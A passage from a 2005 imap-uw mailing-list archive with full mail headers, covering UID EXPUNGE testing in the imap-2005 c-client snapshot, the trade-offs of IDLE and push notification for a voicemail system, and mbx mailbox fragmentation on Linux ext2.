with ESMTP id jBGFrVGC012591; Fri, 16 Dec 2005 07:53:31 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrU3D012583 for ; Fri, 16 Dec 2005 07:53:30 -0800 Received: from mail108.messagelabs.com (mail108.messagelabs.com [216.82.255.115]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jBGFrTJG016923 for ; Fri, 16 Dec 2005 07:53:29 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-13.tower-108.messagelabs.com!1134748406!53803332!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 339 invoked from network); 16 Dec 2005 15:53:26 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-13.tower-108.messagelabs.com with SMTP; 16 Dec 2005 15:53:26 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 64A74256A for ; Fri, 16 Dec 2005 10:53:26 -0500 (EST) Date: Fri, 16 Dec 2005 10:53:25 -0500 From: Mark Sirota To: imap-uw@u.washington.edu Message-ID: X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Testing UID EXPUNGE X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark, In the 2005-12-08 snapshot of imap-2005, the BEWARE-READ-ME-FIRST says that UID EXPUNGE is fully implemented, but has received limited testing. Would you welcome some help testing it? Here at Penn we're working on a c-client based IMAP client for a large-scale unified messaging project, which will handle voicemail for several thousand IP telephony customers. We'll want to use UID EXPUNGE to delete voicemail messages that have been deleted from the telephone interface without expunging other messages in the mailbox. We can wait, but we're also willing to get on board now with imap-2005 and help with testing, if you'd like. Thanks, -- Mark Sirota, Associate Director, Network Engineering and Services University of Pennsylvania, Information Systems and Computing msirota@isc.upenn.edu, +1 215 573 7214 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 08:42:51 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 08:42:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGGgpxf029028 for ; Fri, 16 Dec 2005 08:42:51 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGGgofj016176 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 08:42:50 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGGgk43006646 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 08:42:46 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGGgksS024217; Fri, 16 Dec 2005 08:42:46 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGGgjX6024209 for ; Fri, 16 Dec 2005 08:42:45 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGGgjFs014269 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 16 Dec 2005 08:42:45 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGGgiOr014961 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 08:42:45 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGGghGV026314 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 16 Dec 2005 08:42:44 -0800 Date: Fri, 16 Dec 2005 08:42:43 -0800 (PST) From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] Testing UID EXPUNGE In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 16 Dec 2005, Mark Sirota wrote: > In the 2005-12-08 snapshot of imap-2005, the BEWARE-READ-ME-FIRST says that > UID EXPUNGE is fully implemented, but has received limited testing. Would > you welcome some help testing it? You are welcome to test it. In fact, given what you say you are doing, you should use imap-2005 as your development base and should do such testing now. The entire reason why imap-2005 is available as a development snapshot is so that people such as you can start testing now, and avoid unpleasant surprises when it becomes the release version. Note that if the server does not support UID EXPUNGE, c-client will *not* simulate its effect. Instead, the application will get an error. In many cases, c-client will simulate the effect of a facility that is missing on the server, but UID EXPUNGE is not one of those cases. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 09:00:54 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 09:00:54 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGH0sM7029867 for ; Fri, 16 Dec 2005 09:00:54 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGH0rI2017518 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 09:00:53 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGH0nns025682 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 09:00:50 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGH0nwn027776; Fri, 16 Dec 2005 09:00:49 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGH0mZL027752 for ; Fri, 16 Dec 2005 09:00:48 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGH0lSq014231 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 16 Dec 2005 09:00:48 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGH0le7010630 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 09:00:47 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGH0kcC029533 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 16 Dec 2005 09:00:47 -0800 Date: Fri, 16 Dec 2005 09:00:46 -0800 (PST) From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] IDLE in c-client In-Reply-To: <9CC9FD2F161DF0750E0FD9F3@marmaduke.net.isc.upenn.edu> Message-ID: References: <9CC9FD2F161DF0750E0FD9F3@marmaduke.net.isc.upenn.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __FRAUD_419_BADTHINGS 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 16 Dec 2005, Mark Sirota wrote: > While the mail_ping() loop is functionally identical to IDLE, it seems to > me that the tradeoff is whether to put the resource burden on the client > or the server, which may start mattering when we get into the several > thousand mailbox level, depending on the scalability of the client and > server architectures and the specifics of the IDLE implementation on the > server. I don't think that this is the correct view of the tradeoff, although it may be a factor in a server architecture in which email delivery causes event notification. The usual reason for IDLE is to reduce network traffic. It also can help in the case of mobile clients by reducing battery consumption. This is a big issue, especially with IMAP-capable cell phones. The flip side is that IDLE has proven disasterous if there is any sort of NAT or similar facility between client and server. The inactivity causes the NAT mapping to be purged, and then when the server does send something the session gets killed. NAT and similar facilities presume HTTP and such protocols in which activity is client initiated. Server-initiated activity, such as IDLE, is not accomodated at all. As a consequence, some server implementations (such as UW imapd) end up sending an untagged OK every two minutes or so, with the sole purpose of causing a TCP ACK from the client and keeping the NAT mapping alive. The mobile device guys complain about this behavior (and have good reason to do so!) but no obvious solution has come up. The upshot is that many people feel that IDLE was a good idea for its time, but not the right idea for modern needs; and that a separate "push" type notification mechanism is what's really needed for mobile devices. As IMAP is fundamentally a "pull" type protocol, such notifications would be done by a mechanism outside of IMAP. This is actually not a bad thing; if all you want to do is light the little "voice mail" light on the phone, you don't really need to have an IMAP session monitoring the mailbox 24/7. You just need a notification from whatever agent *delivers* the voice mail, and perhaps also some mechanism in the IMAP server when all new voice mail has been read to turn the little light off. This will scale better, since then the IMAP session is only activated when the user requests it. > Are there any plans to implement IDLE in a future release of the c-client? > If I ended up writing it myself, would you welcome the contribution? I'll look at it, but I can't promise that I would adopt it. Nor can I promise that if I adopt it, that it wouldn't have a different interface. c-client is fundamentally synchronous in its implementation of IMAP, and IDLE is very much asynchronous. It'll need careful consideration. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 10:34:21 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 10:34:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIYL7v002118 for ; Fri, 16 Dec 2005 10:34:21 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIYKqJ023458 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 10:34:20 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIYGvs031726 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 10:34:16 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIYGAe008660; Fri, 16 Dec 2005 10:34:16 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIYFMg008652 for ; Fri, 16 Dec 2005 10:34:15 -0800 Received: from mail99.messagelabs.com (mail99.messagelabs.com [216.82.255.195]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jBGIYE8G020948 for ; Fri, 16 Dec 2005 10:34:15 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-9.tower-99.messagelabs.com!1134758053!10494644!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 20279 invoked from network); 16 Dec 2005 18:34:14 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-9.tower-99.messagelabs.com with SMTP; 16 Dec 2005 18:34:14 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 188BB17CF; Fri, 16 Dec 2005 13:34:12 -0500 (EST) Date: Fri, 16 Dec 2005 13:34:11 -0500 From: Mark Sirota To: Mark Crispin Subject: Re: [Imap-uw] IDLE in c-client Message-ID: <76EBF66593AB7BE3059A731A@marmaduke.net.isc.upenn.edu> In-Reply-To: References: <9CC9FD2F161DF0750E0FD9F3@marmaduke.net.isc.upenn.edu> X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On December 16, 2005 9:00:46 AM -0800 Mark Crispin wrote: > You just need a notification from whatever agent *delivers* the voice > mail, and perhaps also some mechanism in the IMAP server when all new > voice mail has been read to turn the little light off. This will scale > better, since then the IMAP session is only activated when the user > requests it. Thanks for the suggestion, it sounds worth pursuing. We'll look into it. We've already got the delivery side. It's easy when a message is played via the telephone interface, because that's the same software that manages the message waiting indicator. The challenge is when someone listens to a voice message by way of their regular IMAP e-mail client. Perhaps whenever a message is read, the IMAP server could send a message to an external routine that would determine whether this was the last unread voicemail message in the mailbox. Sounds more complex, and requires customizations to the IMAP server, but FAR more scalable than the "every mailbox open, selected, and idle" approach we'd been considering. So far, the only customizations we require on the IMAP server is the ability to trust a specific client to properly authenticate the user. That is, the IMAP client authenticates the user, then authenticates to the IMAP server as itself rather than as the user. The IMAP server authenticates the client, trusts that the client has authenticated the user, and allows the client to access any mailbox. This is the same approach we use for webmail, so it's not a big deal for us. Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 10:40:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 10:40:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIerFY002508 for ; Fri, 16 Dec 2005 10:40:53 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIeqAQ023923 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 10:40:52 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIemLJ009338 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 10:40:48 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIemJF009762; Fri, 16 Dec 2005 10:40:48 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGIekbA009754 for ; Fri, 16 Dec 2005 10:40:46 -0800 Received: from mail95.messagelabs.com (mail95.messagelabs.com [216.82.241.67]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jBGIejeY027260 for ; Fri, 16 Dec 2005 10:40:45 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-8.tower-95.messagelabs.com!1134758444!34411543!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 22388 invoked from network); 16 Dec 2005 18:40:44 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-8.tower-95.messagelabs.com with SMTP; 16 Dec 2005 18:40:44 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 8693C1CAF; Fri, 16 Dec 2005 13:40:43 -0500 (EST) Date: Fri, 16 Dec 2005 13:40:42 -0500 From: Mark Sirota To: Mark Crispin Subject: Re: [Imap-uw] Testing UID EXPUNGE Message-ID: <247CAADC2EE5DDA5BF840484@marmaduke.net.isc.upenn.edu> In-Reply-To: References: X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On December 16, 2005 8:42:43 AM -0800 Mark Crispin wrote: > You are welcome to test it. In fact, given what you say you are doing, > you should use imap-2005 as your development base and should do such > testing now. The entire reason why imap-2005 is available as a > development snapshot is so that people such as you can start testing > now, and avoid unpleasant surprises when it becomes the release version. > > Note that if the server does not support UID EXPUNGE, c-client will > *not* simulate its effect. Instead, the application will get an error. > In many cases, c-client will simulate the effect of a facility that is > missing on the server, but UID EXPUNGE is not one of those cases. Will do, and thanks for the warning. I'm assuming the intended interface is mail_expunge_full()? Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 10:48:45 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 10:48:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGImj5h002820 for ; Fri, 16 Dec 2005 10:48:45 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGImilW024447 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 10:48:44 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGImeES009505 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 10:48:40 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGImeNr011188; Fri, 16 Dec 2005 10:48:40 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGImdZf011172 for ; Fri, 16 Dec 2005 10:48:39 -0800 Received: from gpu.utcc.utoronto.ca (gpu.utcc.utoronto.ca [128.100.100.1]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jBGImcGc030546 for ; Fri, 16 Dec 2005 10:48:38 -0800 Received: from localhost by gpu.utcc.utoronto.ca with SMTP id <33544>; Fri, 16 Dec 2005 13:48:37 -0500 Date: Fri, 16 Dec 2005 13:48:35 -0500 From: alex.nishri@utoronto.ca X-X-Sender: nishri@gpu.utcc To: imap-uw@u.washington.edu In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Re: Mail file fragmentation on Linux X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: alex.nishri@utoronto.ca List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > I am running UW imapd and dmail with MBX mailbox format. I noticed using > debugfs "stat " that the mail file can get quite badly fragmented > over time. We run a large predominately mbx-format, with some Unix format, server. We have observed that if we massive copy all files off a large LUN, then copy them back--ie de-fragmenting the file system--the number of IOPs drops. (Such a massive copy requires taking the server out for 6 hours or more.) Thereafter there is a regular increase in the IOPs as the file system fragments over time. To prevent this, we run a nightly defrag: a Perl script finds files in many fragments. It copies each such file. If the result is fewer fragments, we keep the new file; otherwise we keep the original file. This helps to keep the IOPs down. However, over time we find this is less and less effective, because the Linux ext2 filesystem becomes more and more fragmented; copying a file frequently results in more fragments then you started with. If you google the fragmentation issue you will find many sources that perpetuate the urban legend that Linux ext2/ext3 filesystems don't need defragmenting ... Perhaps the solution lies in having the operating system automatically defragment files (as Apple MacOS X does with files under 10MB.) Alex Nishri University of Toronto _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 11:35:39 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 11:35:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGJZdwc005496 for ; Fri, 16 Dec 2005 11:35:39 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGJZcvE027864 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 11:35:38 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGJZY6L013545 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 11:35:34 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGJZYar018430; Fri, 16 Dec 2005 11:35:34 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGJZXdm018413 for ; Fri, 16 Dec 2005 11:35:33 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGJZW7p017365 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 16 Dec 2005 11:35:33 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGJZWvU013511 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 11:35:32 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGJZV8J002943 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 16 Dec 2005 11:35:31 -0800 Date: Fri, 16 Dec 2005 11:35:31 -0800 (PST) From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] Testing UID EXPUNGE In-Reply-To: <247CAADC2EE5DDA5BF840484@marmaduke.net.isc.upenn.edu> Message-ID: References: <247CAADC2EE5DDA5BF840484@marmaduke.net.isc.upenn.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 16 Dec 2005, Mark Sirota wrote: > Will do, and thanks for the warning. I'm assuming the intended interface > is mail_expunge_full()? Yes, with the EX_UID option set in the call. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 12:50:21 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 12:50:21 -0800 (PST) Return-Path: Received: from 